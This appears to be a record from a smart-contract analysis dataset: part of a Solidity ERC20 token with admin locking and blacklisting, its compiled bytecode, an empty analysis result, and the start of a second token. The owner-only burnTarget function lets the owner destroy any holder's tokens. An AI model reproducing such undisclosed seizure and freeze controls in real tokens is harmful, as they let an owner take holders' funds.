}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212208380b30f409bb6ef68398968eb80f3340e50733faab473145cf2304df0ae07b164736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 6,517 |
0xcc916954967e555bbc2d1b619582d75ad0cd2e17
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
